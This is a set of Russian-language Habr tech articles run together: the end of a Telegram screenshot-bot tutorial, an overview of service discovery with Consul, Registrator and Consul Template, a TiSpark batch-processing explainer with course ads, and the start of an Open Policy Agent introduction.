driver = webdriver.Chrome(chrome_options = options)
driver.set_window_size(1280, 720)
driver.get(url)
driver.save_screenshot(photo_path)
bot.send_photo(uid, photo = open(photo_path, 'rb'))
driver.quit()
os.remove(photo_path)
```
Запускаем бота и проверяем его работу!
```
#запуск бота
if __name__ == '__main__':
bot.infinity_polling()
```
As you can see, всё работает замечательно. Конечно, всякие плюшки можно доработать, но я поставил перед собой цель построить фундамент и достиг её. Собственно, [ссылка на бота (upd, недействительна)](http://t.me/urltopngbot) для желающих и на [гитхаб репозиторий](https://github.com/StefanioHabrArticles/UrlToPngBot) для интересующихся. Ну а пока всем добра, увидимся в следующих публикациях!
---
Ещё я веду telegram канал [StepOne](https://t.me/steponeit), где оставляю небольшие заметки про разработку и мир IT. | https://habr.com/ru/post/420513/ | null | ru | null |
# Свой облачный хостинг за 5 минут. Часть 2: Service Discovery
[](http://habrahabr.ru/post/262397/)
Привет Хабр! В [предыдущей статье](http://habrahabr.ru/post/261415/) я рассказал как построить свой облачный хостинг за 5 минут, используя *Ansible*, *Docker* и *Docker Swarm*. В этой части я расскажу о том, как сервисы, запущенные в облаке, находят друг друга, как происходит балансировка нагрузки между ними и обеспечивается их отказоустойчивость.
Это вводная статья, здесь мы сосредоточимся на обзоре инструментов, которые будут решать проблему «обнаружения сервисов» в нашем облаке. [В следующей части](http://habrahabr.ru/post/264269/) мы приступим к практике, поэтому я решил дать вам время поближе ознакомиться с ними.
#### Содержание
* Часть 0: [Виртуализация](https://habrahabr.ru/post/277657/)
* Часть 1: [Ansible, Docker, Docker Swarm](https://habrahabr.ru/post/261415/)
* Часть 2: Service Discovery
* Часть 3: [Consul, Registrator, Consul-Template](http://habrahabr.ru/post/264269/)
* ...
#### Проблема
Давайте разберем наиболее типичную проблему и ее распространенное решение – у нас есть веб-приложение и мы должны обеспечить балансировку нагрузки и его отказоустойчивость.
Мы можем запустить несколько копий нашего веб-приложения, которые будет мониторить [Supervisor](http://supervisord.org/). *Supervisor* будет перезапускать наше веб-приложение, если возникнут какие-то ошибки, а также будет добавлять такие события в журнал. Проблему балансировки нагрузки решит установка [Nginx](http://nginx.org). Конфигурация *Nginx* будет выглядеть примерно так:
```
upstream app {
server 192.168.1.2:8080 max_fails=3 fail_timeout=5s;
server 192.168.1.2:8081 max_fails=3 fail_timeout=5s;
server 192.168.1.2:8082 max_fails=3 fail_timeout=5s;
}
server {
location / {
proxy_pass http://app;
health_check;
}
}
```
Работать указанная конфигурация будет так – если в течение 5 секунд число неудачных попыток при обращении к одному из веб-приложений достигнет 3-ех, то такое приложение отметится как неработоспособное на 5 секунд (*если оно упало с ошибкой, то Supervisor перезапустит его*). Таким образом вся нагрузка равномерно распределиться только между рабочими копиями приложений.
#### Недостатки
На самом деле это хорошая конфигурация и если у вас немного приложений и нагрузка более-менее равномерная, тогда лучше использовать именно её.
Но мы строим облако, где будет запущено то или иное приложение – мы не знаем. Нагрузка у нас может меняться для разных сайтов/веб-приложений по разному, поэтому неплохо бы иметь возможность менять количество запущенных копий наших приложений в зависимости от ситуации. Другими словами – мы не можем заранее настроить *Nginx/Apache/etc* на такую конфигурацию.
Было бы круто, если бы *Nginx* и другие наши сервисы приспособились к динамической природе нашего облака. Решением именно этой задачи мы и займемся в этой статье.
#### Требования
Нам нужно место, где наши сервисы смогут регистрировать себя и получать информацию друг о друге. [Docker Swarm](http://docs.docker.com/swarm/), который мы начали использовать в [предыдущей статье](http://habrahabr.ru/post/261415/), «из коробки» [умеет работать](http://docs.docker.com/swarm/discovery/) с [etcd](https://coreos.com/etcd/), [Consul](https://consul.io/) и [Zookeeper](http://zookeeper.apache.org/).
Нам необходимо, что бы наши сервисы автоматически регистрировались и удалялись из вышеуказанных систем (*мы же не будем обучать этому каждое приложение*). Для этих целей мы используем [Registrator](https://github.com/gliderlabs/registrator) (*ниже рассмотрим его более подробно*), который «из коробки» работает с *Consul*, *etcd* и [SkyDNS 2](https://github.com/skynetservices/skydns/) (*поддержка Zookeeper в планах*).
Наши сервисы должны иметь возможность находить друг друга с помощью DNS запросов. Эту задачу могут решить *Consul* и [SkyDNS 2](https://github.com/skynetservices/skydns/) (*который работает в паре с etcd*).
Мониторинг здоровья сервисов нам тоже необходим. Он доступен нам в *Consul* (*который мы и будем использовать*) «из коробки» и его [поддерживает](https://github.com/gliderlabs/registrator#consul-health-checks) Registrator (*он должен передавать информацию о том, как должен происходить мониторинг того или иного сервиса*).
Последнее, но не менее важное – нужен сервис для автоматической конфигурации наших составляющих. Если мы запустили 10 копий одного веб-приложения и 20 копий другого, он должен понимать и немедленно реагировать на это (*меняя конфигурацию Nginx, например*). Выполнять эту роль будет [Consul Template](https://github.com/hashicorp/consul-template) (*ниже рассмотрим его более подробно*).
**Примечание**Как вы видите, есть разные варианты решения нашей проблемы. Прежде, чем написать эту статью, я поработал на своей конфигурации чуть больше месяца и не встретил никаких проблем.
#### Consul
[](https://consul.io/)
Из перечисленных выше вариантов (*[Consul](https://consul.io/), [Zookeeper](http://zookeeper.apache.org/), [etcd](https://coreos.com/etcd/)*), *Consul* является наиболее самостоятельным проектом, который в состоянии решить нашу проблему обнаружения сервисов «из коробки».
Не смотря на то, что *Consul*, *Zookeeper* и *etcd* расположены здесь в одном ряду, я бы не стал их сравнивать между собой. Все 3 проекта реализуют распределенное key/value хранилище и на этом их общие черты заканчиваются.
*Consul* нас обеспечит DNS сервером, которого нет в *Zookeeper* и *etcd* (*можно добавить с помощью [SkyDNS 2](https://github.com/skynetservices/skydns/)*). Более того, *Consul* даст нам мониторинг здоровья (*которым не могут похвастаться ни etcd, ни Zookeeper*), что также необходимо для полноценного Service Discovery.
В нагрузку с *Consul* мы получим *Web UI* (*демо которого можно [глянуть уже сейчас](http://demo.consul.io/)*) и качественную [официальную документацию](https://consul.io/docs/index.html).
**Примечание**Даже если вы планируете использовать такую же конфигурацию, которую описываю я и использование [Zookeeper](http://zookeeper.apache.org/) и [SkyDNS 2](https://github.com/skynetservices/skydns/) в ваши планы не входит, я бы все равно ознакомился с этими проектами.
#### Registrator
[](https://github.com/gliderlabs/registrator)
[Registrator](https://github.com/gliderlabs/registrator) получает информацию от *Docker*'а о запуске/остановке контейнеров (*через сокет-соединение, с помощью Docker API*) и добавляет/удаляет их в/из *Consul*'a.
Информацию о том или ином сервисе *Registrator* автоматически получает на основе опубликованных портов и из переменных окружения *Docker* контейнера. Другими словами – это работает с любыми контейнерами, которые у вас есть и требует дополнительного конфигурирования только в том случае, если необходимо переопределить параметры полученные автоматически.
И раз все наши сервисы работают исключительно в *Docker* контейнерах (*и сам Registrator в том числе*), то в *Consul*'е всегда будет информация о всех запущенных сервисах нашего облака.
Это все конечно круто, но еще круче то, что *Registrator* может рассказать *Consul*'у, как проверять здоровье наших сервисов. Делается это с помощью тех же переменных окружения.
**Примечание**Consul умеет проверять здоровье сервисов, если для сохранения информации о них используется *Consul Service Catalog* (*который мы и задействуем*).
Если же используется *Consul Key-value Store* (*который тоже поддерживается Registrator'ом и использует, например, *Docker Swarm* для сохранения информации о *Docker* нодах*), такой функции нет.
Давайте рассмотрим пример:
```
$ docker run -d --name nginx.0 -p 4443:443 -p 8000:80 \
-e "SERVICE_443_NAME=https" \
-e "SERVICE_443_CHECK_SCRIPT=curl --silent --fail https://our-https-site.com" \
-e "SERVICE_443_CHECK_INTERVAL=5s" \
-e "SERVICE_80_NAME=http" \
-e "SERVICE_80_CHECK_HTTP=/health/endpoint/path" \
-e "SERVICE_80_CHECK_INTERVAL=15s" \
-e "SERVICE_80_CHECK_TIMEOUT=3s" \
-e "SERVICE_TAGS=www" nginx
```
После подобного запуска, список наших сервисов у *Consul*'а будет выглядеть следующим образом:
```
{
"services": [
{
"id": "hostname:nginx.0:443",
"name": "https",
"tags": [
"www"
],
"address": "192.168.1.102",
"port": 4443,
"checks": [
{
"script" : "curl --silent --fail https://our-https-site.com",
"interval": "5s"
}
]
},
{
"id": "hostname:nginx.0:80",
"name": "http",
"tags": [
"www"
],
"address": "192.168.1.102",
"port": 8000,
"checks": [
{
"http": "/health/endpoint/path",
"interval": "15s",
"timeout": "3s"
}
]
},
...
]
}
```
Как вы видите, на основе опубликованных портов *Registrator* сделал вывод, что зарегистрировать надо 2 сервиса (*http и https*). Более того, у *Consul*'a теперь есть вся необходимая информация о том, как проверять здоровье этих сервисов.
В первом случае будет выполняться команда "*curl --silent --fail [our-https-site.com](https://our-https-site.com)*" каждые 5 секунд и результат проверки будет зависеть от кода выхода данной комманды.
Во втором случае – каждые 15 секунд Consul будет дергать переданный нами URL. Если код ответа сервера будет *2xx*, то наш сервис «здоров», если *429 Too Many Requests*, то в «экстренном состоянии», если все остальное, то «земля ему пухом».
Больше примеров и более подробную информацию вы может почерпнуть из [официальной документации](https://github.com/gliderlabs/registrator).
#### Consul Template
[](https://github.com/hashicorp/consul-template)
Мы решили где хранить информацию о всех сервисах нашего облака, а также как она будет туда попадать и автоматически там обновляться. Но мы еще не разобрались, как же будем получать информацию от туда и как, в последствии, будем её передавать нашим сервисам. Именно этим и будет заниматься [Consul Template](https://github.com/hashicorp/consul-template).
Для этого надо взять конфигурационный файл нашего приложения (*которое мы хотим настроить*) и сделать из него шаблон, согласно правилам [HashiCorp Configuration Language](https://github.com/hashicorp/hcl).
Давайте рассмотрим простой пример с конфигурационным файлом *Nginx*:
```
upstream app {
least_conn;
# list of all healthy services
{{range service "tag1.cool-app" "passing"}}server {{.Address}}:{{.Port}} max_fails=3 fail_timeout=60s weight=1;
{{else}}server 127.0.0.1:65535; # force a 502{{end}}
}
...
```
После того, как мы объясним *Consul Template* где находится данный шаблон, куда положить результат и какую комманду выполнить (*он это тоже умеет*) при его изменении (*в данном случае перезагрузить Nginx*), начнётся магия. В данном случае *Consul Template* получит адреса и номера портов всех копий приложения "*cool-app*", которые помечены тегом "*tag1*" и находятся в «здоровом» состоянии и добавит их в конфигурационный файл. Если таких приложений нет, тогда, как вы уже догадались, останется все, что находится после *{{else}}*.
При каждом добавлении и удалении сервиса "*cool-app*" с тегом "*tag1*" конфигурационный файл будет перезаписываться, а после этого *Nginx* будет перезагружен. Все это происходит автоматически и не требует вмешательства, мы просто запускаем нужное количество копий нашего приложения и не о чём не беспокоимся.
Больше примеров вы можете найти в [официальной документации](https://github.com/hashicorp/consul-template).
#### Заключение
На сегодняшний день существует достаточное количество инструментов для решения проблемы обнаружения сервисов, но не так много средств, которые могли бы решить данную проблему «из коробки» и сразу обеспечить нас всем необходимым.
[В следующей части](http://habrahabr.ru/post/264269/) я опубликовал набор сценариев для *Ansible*, которые сконфигурируют за нас все вышеописанные инструменты и мы сможем приступить в практике.
На этом все. Всем спасибо за внимание. Стабильных вам облаков и удачи!
[Подписывайтесь на меня в Twitter](https://twitter.com/vkozlovski), я рассказываю о работе в стартапе, своих ошибках и правильных решениях, о python и всём, что касается веб-разработки.
P.S. *Я ищу разработчиков в компанию, подробности у меня [в профиле](http://habrahabr.ru/users/vladkozlovski/).* | https://habr.com/ru/post/262397/ | null | ru | null |
# Need for speed. Пакетная обработка данных с TiSpark
TiSpark – это подключаемый модуль Apache Spark, который работает с платформой [TiDB](https://docs.pingcap.com/tidb/stable) и отвечает на запросы сложной интерактивной аналитической обработки (OLAP). Этот плагин Spark широко используется для пакетной обработки больших объёмов данных и для получения аналитических инсайтов. Я старший архитектор решений в PingCAP и бывший разработчик TiSpark. В этом посте я объясню, как он работает и почему [TiSpark](https://docs.pingcap.com/tidb/stable/tispark-overview) лучше традиционных решений для пакетной обработки.
[](https://habr.com/ru/company/skillfactory/blog/539072/)
---
Пакетная обработка: традиции и TiSpark
--------------------------------------
Давайте сначала посмотрим на традиционную архитектуру пакетной обработки.
*Традиционная архитектура пакетной обработки*
Традиционная система пакетной обработки сначала получает необработанные данные, которые могут оказаться файлами CSV или данными из TiDB, MySQL и других разнородных баз данных. Затем необработанные данные делятся на небольшие пакеты подзадач. В каждом пакете данные обрабатываются отдельно, а затем фиксируются и записываются в TiDB. Однако у такой системы есть одна фатальная проблема: она не может гарантировать атомарность, согласованность, изолированность и стойкость (ACID) транзакций через базу данных.
Приложение должно представлять сложный механизм таблиц задач, чтобы отслеживать, успешно ли выполняются задачи и подзадачи. Если подзадача не выполнена, система может откатить её всю. В крайнем случае требуется вмешаться руками. И вот результат: этот механизм замедляет всю задачу обработки данных. Иногда задача замедляется настолько, что коммерческие банки не могут принять транзакцию. Так происходит потому, что пакетная обработка в банковском деле должна закончиться в течение дня; иначе она повлияет на открытие следующего дня. Но если говорить о TiSpark, тут происходит нечто иное.
*Пакетная обработка с помощью TiSpark*
TiSpark обрабатывает загруженные необработанные данные как единое целое, не разбивая большой набор данных на небольшие подмножества.
После обработки данные конкурентно записываются на сервер TiKV с помощью протокола двухфазной фиксации [коммита, commit], не проходя через сервер TiDB. Подводя итог, можно сказать, что пакетная обработка с помощью TiSpark имеет следующиее преимущества:
* Он очень быстрый. TiSpark обходит TiDB и конкурентно записывает данные в TiKV в режиме «многие ко многим». Это даёт горизонтальную масштабируемость. Если узкое место – TiKV или Apache Spark, вы можете просто добавить ещё один узел TiKV или Spark, чтобы сделать хранилище больше или увеличить вычислительную мощность.
* Его легко конфигурировать. Единственное, что вы настраиваете, – указание Spark о том, как использовать TiSpark. Логика пакетной обработки в TiSpark в основном совместима с DataSource API в Spark, поэтому вы настроите TiSpark без труда, как только разберётесь с DataSource API и DataFrame API.
* Транзакции гарантируются. Запись данных будет успешной или неудачной. Реальный кейс показывает, что TiSpark может записать 60 миллионов строк данных TPC-H LINEITEM за 8 минут.
Что под капотом?
----------------
### Архитектура
Рисунок ниже показывает роль TiSpark во всём кластере TiDB:
*Компоненты кластера TiDB*
Компоненты на рисунке маркированы цветами:
Когда TiSpark получает задачу и обрабатывает данные, перед записью данных он блокирует таблицы. Это предотвращает откат TiSpark его собственной транзакции из-за конфликтов с другими транзакциями. Нам не хочется никаких откатов вроде этого, потому что TiSpark обычно обрабатывает сотни миллионов строк данных и это отнимает много времени. Такое поведение блокировки таблицы применимо только к TiDB **3.0.14 и выше**. В версии 4.0.x TiDB мы изменили протокол транзакций, и теперь он поддерживает крупные транзакции до **10 GB**. Когда TiSpark совместим с модификацией протокола, нет необходимости блокировать таблицы. Далее TiSpark классифицирует, подсчитывает, сэмплирует и рассчитывает данные для записи и оценивает, сколько новых регионов должно генерироваться при пакетной записи. Затем он передаёт информацию в TiDB. TiDB взаимодействует с другими компонентами и предварительно разделяется на нужное количество регионов. Предварительное разделение регионов позволяет избежать таких проблем, как:
* Горячие точки (hot spots).
* Деградация производительности TiSpark при записи, вызванная разбиением региона в то же самое время.
Записывая данные, TiSpark также взаимодействует с PD двумя способами:
* Получает мета-информацию. TiKV хранит пары «ключ – значение», поэтому перед записью TiSpark преобразует все строки данных в пары «ключ – значение». TiSpark должен знать, в какой регион записывать пары, то есть ему нужно получить соответствующий адрес региона.
* Запрашивает временную метку от PD для гарантии транзакций. Вы можете рассматривать эту временную метку как идентификатор транзакции. Чтобы конкурентно записывать сгенерированные пары в TiKV, TiSpark использует Spark Worker.
Реализация
----------
Теперь, когда вы понимаете основы TiSpark, давайте погрузимся глубже, чтобы увидеть детали его реализации.
Во-первых, чтобы реализовать клиент TiKV в TiSpark, мы воспользовались Java. Этот клиент богат функциональностью и может отдельно использоваться Java-приложениями, чтобы взаимодействовать с TiKV.
* Клиент реализует интерфейс сопроцессора**.** Он может взаимодействовать с TiKV или TiFlash и выполнять некоторые вычисления, такие как вычисления лимита, порядка и агрегации. Клиент также обрабатывает некоторые предикаты, индексы и поля «ключ – значение». Например, он может оптимизировать запрос с индексом, чтобы не сканировалась вся таблица.
* Клиент реализует протокол двухфазной фиксации, гарантируя, что записи TiSpark соответствуют ACID. Клиент также поддерживает некоторую статистику и информацию об индексах, которые, когда создаётся план выполнения, помогают Spark выбрать лучший путь, чтобы выполнить запрос.
Клиент TiKV позволяет TiSpark взаимодействовать с TiKV и TiFlash. Другая ключевая проблема – как сообщить Spark результат этого взаимодействия.
TiSpark использует Extensions Point в Spark как входную точку, что снижает стоимость поддержки полного набора кода Spark и позволяет настраивать оптимизатор Spark Catalyst. Например, в план выполнения Spark можно легко внедрить логику доступа к TiKV или TiFlash.
TiSpark гарантирует транзакциям ACID-свойства как для записи одной и нескольких таблиц. Для записи в одну таблицу TiSpark полностью совместим с Spark DataSource API, потому что фрейм данных Spark подобен одной таблице. Для записи нескольких таблиц вы можете использовать дополнительный интерфейс, поддерживаемый TiSpark, для сопоставления таблиц базы данных со Spark DataFrame. Например, вы можете сопоставить таблицу с фреймом данных через имя базы данных и имя таблицы, а затем поместить эту информацию в сопоставление. Предположим, вам нужно записать три таблицы, тогда в сопоставлении должно быть три элемента.
Мы хотим, чтобы этот интерфейс не изменился независимо от того, сколько версий TiSpark будет выпущено в будущем.
Если вы знакомы со Spark, вы можете задаться вопросом: DataFrames в Spark похожи на одну таблицу. Не сложно ли будет объединить их из-за несовместимой структуры таблиц? Что ж, не волнуйтесь. Формат данных TiKV – это пары «ключ – значение». Во время записи нескольких таблиц они объединяются только после преобразования DataFrames в пары «ключ – значение».
### Приложение
Как TiSpark сочетается с вашей существующей системой распределённых приложений?
Предположим, у вас есть распределённая система, состоящая из трёх частей:
* Фреймворк сервисного приложения принимает пакетные задачи, написанные разработчиками приложений.
* Фреймворк приложения для асинхронных задач планирует пакетные задачи.
* Фреймворк пакетного приложения выполняет пакетные задачи.
Вы можете интегрировать TiSpark во фреймворк пакетного приложения, чтобы планировать и обрабатывать пакетные задачи.
TiSpark обрабатывает данные через **интерфейсы DataFrame** или **Spark SQL**.
Допустим, есть таблица пользователей, в которой хранятся кредиты и процентные ставки пользователей. На основе этих данных нам необходимо рассчитать проценты, которые пользователи должны заплатить в текущем месяце. В следующем блоке кода показано, как реализовать логику пакетной обработки с использованием интерфейсов DataFrame и Spark SQL отдельно:
```
// DataFrame API implementation
val dfWithDeducted = df.withColumn("toBeDeducted",
df("loan") * df("interestRate"))
val finalDF = dfWithDeducted
.withColumn("balance",
dfWithDeducted("balance")
- dfWithDeducted("toBeDeducted"))
.drop("toBeDeducted")
// Spark SQL implementation
val df = spark.sql("select *, (balance - load * interestRate) as newBala from a").drop("balance")
val finalDF = df.withColumnRenamed("newBala", "balance")
```
1. Найти столбцы ссуды и процентной ставки с помощью интерфейса DataFrame.
2. Воспользоваться простой арифметической операцией, чтобы вычислить проценты.
3. Создать новый столбец с именем toBeDeducted при помощи интерфейса withColumn.
4. Вычесть значение toBeDeducted из исходного баланса и получить новый баланс.
5. Удалить столбец toBeDeducted.
Другой пример – система бонусных баллов для кредитных карт. Для расчёта бонусных баллов кредитной карты используются три таблицы:
* Таблица бонусных баллов: хранит текущие баллы пользователя.
* Таблица расходов: хранит ежемесячные расходы пользователя.
* Таблица правил: хранит правила скидок. У разных продавцов правила скидок различаются. Скидка в ювелирных магазинов – 1:2; то есть 1 доллар – это 2 балла.
Чтобы создать новый DataFrame, мы можем объединить три таблицы в Spark. Затем мы выполняем некоторые арифметические вычисления с использованием соответствующих имён столбцов DataFrame, например, умножая объем потребления на коэффициент в таблице правил. После этого выполняем пакетную задачу.
Когда выполнение завершено, мы можем обработать DataFrame в соответствии с различными структурами таблиц. Наконец, TiSpark быстро записывает обработанные данные в TiKV, а TiDB не участвует в записи.
### Визуализация
Отправляя задачу в TiSpark, вы можете следить за её выполнением. Рисунок ниже показывает пакетную обработку, которая записывает 4 миллиона строк данных:
*Мониторинг задач в TiSpark*
На странице монитора можно посмотреть, какая обрабатывается задача и что она должна быть выполнена примерно за 5 минут. В таблице приводятся сводные данные по каждому идентификатору задания и задаче:
Я надеюсь, что благодаря этому посту вы больше узнали о TiSpark. Если у вас есть вопросы о TiSpark или его решении для пакетной обработки, [напишите](mailto:yangzhexuan@pingcap.com) мне. Я буду рад обсудить с вами, как интегрировать TiSpark в ваше приложение.
---
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=130121)
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=310121)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=310121)
**Другие профессии и курсы**
**ПРОФЕССИИ**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=310121)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=310121)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=310121)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=310121)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=310121)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=310121)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=310121)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=310121)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=310121)
---
**КУРСЫ**
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=310121)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=310121)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=310121)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=310121)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=310121)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=310121)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=310121) | https://habr.com/ru/post/539072/ | null | ru | null |
# Введение Open Policy Agent (OPA)
### Что такое OPA?
Это проект, стартовавший в 2016 году, направленный на унификацию применения политик в различных технологиях и системах. Сегодня OPA используется гигантскими игроками в технологической индустрии. Например, Netflix использует OPA для управления доступом к своим внутренним ресурсам API. Chef использует его для предоставления возможностей IAM в своих продуктах для конечных пользователей. Кроме того, многие другие компании, такие как Cloudflare, Pinterest и другие, используют OPA для обеспечения соблюдения политик на своих платформах (например, кластеры Kubernetes). В настоящее время OPA является частью [CNCF](https://www.cncf.io/) в качестве инкубационного проекта.
### Что предлагает OPA?
Вы можете спросить: как возникла OPA? Какие проблемы пытается решить? Действительно, применение политик в отношении API и микросервисов так же старо, как и сами микросервисы. Никогда не было приложения production уровня, которое не обеспечивало бы какой-либо контроль доступа, авторизацию и применение политик. Чтобы понять роль OPA, рассмотрим следующий вариант использования: ваша компания продает ноутбуки через онлайн-портал. Как и все другие подобные приложения, портал состоит из главной страницы, где клиенты видят последние предложения, возможно, некоторые ограниченные по времени рекламные акции. Если клиенты хотят что-то купить, им необходимо войти в систему или создать учетную запись. Затем они осуществляют платежи с помощью своих кредитных карт или другими способами. Чтобы ваши клиенты постоянно посещали вас, вы предлагаете им подписаться на вашу рассылку новостей, которая может содержать специальные скидки. Кроме того, они могут выбрать получение уведомлений браузера, как только будут объявлены новые продукты. Типичное приложение для онлайн-покупок, не так ли? Теперь давайте изобразим, как этот рабочий процесс будет выглядеть на диаграмме, чтобы визуализировать процесс:
На диаграмме выше показано, как наша система может выглядеть внутри. У нас есть ряд микросервисов, которые взаимодействуют друг с другом для обслуживания наших клиентов. Теперь очевидно, что Боб не должен видеть никаких внутренних механизмов работы системы. Например, он не может просматривать (или даже знать) корзину S3, в которой архивируются платежи, или с какими службами может взаимодействовать API уведомлений. Но как насчет Джона? Он один из наших разработчиков приложений, и ему нужен доступ ко всем микросервисам, чтобы иметь возможность устранять неполадки и отлаживать их при возникновении проблем. Или он? Что, если он случайно (или намеренно) вызовет API-интерфейс службы базы данных, чтобы изменить адрес доставки клиента на другое место? Хуже того, что, если бы у него были разрешения на чтение номеров кредитных карт клиентов? Чтобы устранить эти риски, мы размещаем элемент управления авторизацией поверх каждого из наших микросервисов. Элемент управления проверяет, имеет ли аутентифицированный пользователь необходимые привилегии для выполнения запрошенной операции. Такая система авторизации может быть внутренним, собственным процессом или внешним, как это предусмотрено AWS IAM. Так создается и защищается типичное приложение для микросервисов. Но посмотрите на недостатки использования нескольких разных систем авторизации, особенно по мере роста приложения:
* Изменение существующих политик или введение новых — это кошмар. Только подумайте, сколько мест вам нужно будет посетить, чтобы предоставить Алисе доступ для чтения ко всем системам хранения. Это означает, что S3, MySQL, MongoDB и, возможно, внешний API, и это лишь некоторые из них.
* Разработчики не могут применять политики в своих собственных системах. Очевидно, они могут жестко запрограммировать свою логику авторизации в приложении, но это значительно усугубляет ситуацию: попытки унифицировать политики для разных микросервисов очень сложны.
* В дополнение к предыдущему пункту, введение новой политики для локальных служб может потребовать изменения кода и, таким образом, введения новых версий всех микросервисов.
* Что, если вы хотите интегрировать политики с существующей базой данных пользователей? Например, интеграция с базой данных HR.
* Нам нужно визуализировать политику, чтобы убедиться, что она выполняет то, что должна. Это приобретает все большее значение по мере усложнения вашей политики.
* Современные системы включают в себя множество технологий и сервисов, написанных на разных языках. Например, у вас может быть ядро вашей системы, работающее на Kubernetes, и множество устаревших API-интерфейсов, которые не являются частью кластера, написанного на Java, Ruby и PHP. Каждая платформа имеет собственный механизм авторизации.
Давайте посмотрим на Kubernetes в качестве примера. Если бы всем пользователям был разрешен доступ ко всему кластеру, может произойти множество неприятных вещей, таких как:
* Предоставление неограниченных запросов и ограничений для всех модулей может привести к выселению случайных модулей из узлов.
* Получение и использование непроверенных, случайных образов, которые могут содержать уязвимости безопасности или вредоносный контент.
* Использование контроллеров Ingress без TLS, позволяющих передавать в приложение незашифрованный и незащищенный трафик.
* Многочисленные другие непредвиденные риски из-за общей сложности.
Конечно, вы можете использовать [RBAC](https://www.magalix.com/blog/kubernetes-rbac-101) и [политики безопасности Pod](https://www.magalix.com/blog/kubernetes-pods-101-the-cluster-sailors) для детального контроля над кластером. Но опять же, это применимо только к кластеру. Kubernetes RBAC бесполезен, кроме как в кластере Kubernetes.
Вот где в игру вступает Open Policy Agent (OPA). OPA был введен для создания унифицированного метода обеспечения соблюдения политики безопасности в стеке.
### Как работает OPA?
Ранее мы исследовали стратегии обеспечения соблюдения политик и то, что OPA пытается решить, — это показало нам, «что». А теперь давайте посмотрим, «как».
Допустим, вы внедряете платежную службу нашего примера приложения. Эта служба отвечает за обработку платежей клиентов. Он предоставляет API, в котором принимает оплату от клиента. Это также позволяет пользователю запрашивать, какие платежи были произведены конкретным клиентом. Итак, чтобы получить массив, содержащий покупки, сделанные Джейн, которая является одним из клиентов компании, вы отправляете запрос GET в API с путем / payment / jane. Вы указываете свои учетные данные в заголовке авторизации и отправляете запрос. Ответом будет массив JSON с запрошенными вами данными. Однако, поскольку вы не хотите, чтобы кто-либо, имеющий доступ к сети, имел доступ к Payments API для просмотра таких конфиденциальных данных, вам необходимо применить политику авторизации. OPA решает проблему следующим образом:
1. Payments API запрашивает решение у OPA. Он сопровождает этот запрос некоторыми атрибутами, такими как метод HTTP, используемый в запросе, путь, пользователь и т. д.
2. OPA проверяет эти атрибуты на соответствие уже предоставленным данным.
3. После проверки OPA отправляет решение запрашивающему API с разрешением или запретом.
Здесь важно отметить, что OPA отделяет наше решение о политике от применения политики. Рабочий процесс OPA можно изобразить на следующей диаграмме:
OPA — это универсальный инструмент принудительного применения политик, не зависящий от домена. Он может быть интегрирован с API, демоном SSH Linux, хранилищем объектов, таким как CEPH, и т. Д. Разработчики OPA намеренно избегали основывать его на каком-либо другом проекте. Соответственно, запрос политики и решение не следуют конкретному формату. То есть вы можете использовать любые допустимые данные JSON в качестве атрибутов запроса, если они предоставляют необходимые данные. Точно так же решение политики, исходящее от OPA, также может быть любыми действительными данными JSON. Вы выбираете, что вводится, а что выводится. Например, вы можете выбрать, чтобы OPA возвращал объект JSON True или False, число, строку или даже сложный объект данных.
### Внутреннее устройство OPA
Чтобы полностью понять OPA и начать применять его в своих проектах, вы должны ознакомиться с его функциями и компонентами. Начнем с того, как вы определяете свою политику.
### Язык политики: Rego
Rego — это декларативный язык высокого уровня, созданный специально для OPA. Это упрощает определение политик и ответы на такие вопросы, как: разрешено ли Бобу выполнять GET-запрос на `/api/v1/products`? Какие записи ему разрешено просматривать?
